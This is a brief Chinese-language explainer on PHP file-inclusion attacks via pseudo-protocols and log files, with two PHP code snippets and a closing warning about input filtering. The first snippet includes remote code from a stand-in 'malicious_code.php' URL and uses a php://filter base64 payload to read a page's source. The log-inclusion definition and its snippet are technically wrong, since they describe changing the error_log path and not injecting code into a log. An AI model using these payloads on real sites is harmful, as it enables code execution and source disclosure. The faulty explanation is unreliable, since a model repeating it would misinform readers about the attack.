伪协议包含是指利用php的include函数或者require函数来加载远程资源或者本地文件，通过伪协议的形式来指定文件路径。日志文件包含是指通过修改php的日志文件路径来实现包含恶意代码。

下面是一个使用php实现伪协议包含和日志文件包含的简单示例：

1. 伪协议包含：

<?php
// 从远程资源加载文件
$file = 'http://example.com/malicious_code.php';
include($file);// 从本地文件加载文件
$file = 'php://filter/read=convert.base64-encode/resource=index.php';
include($file);
?>

1. 日志文件包含：

<?php
// 修改php的日志文件路径
ini_set('error_log', '/path/to/malicious_log.txt');// 加载恶意代码
include('malicious_code.php');
?>

需要注意的是，伪协议包含和日志文件包含都是一种安全风险，应当谨慎使用，并对用户输入进行严格的过滤和验证。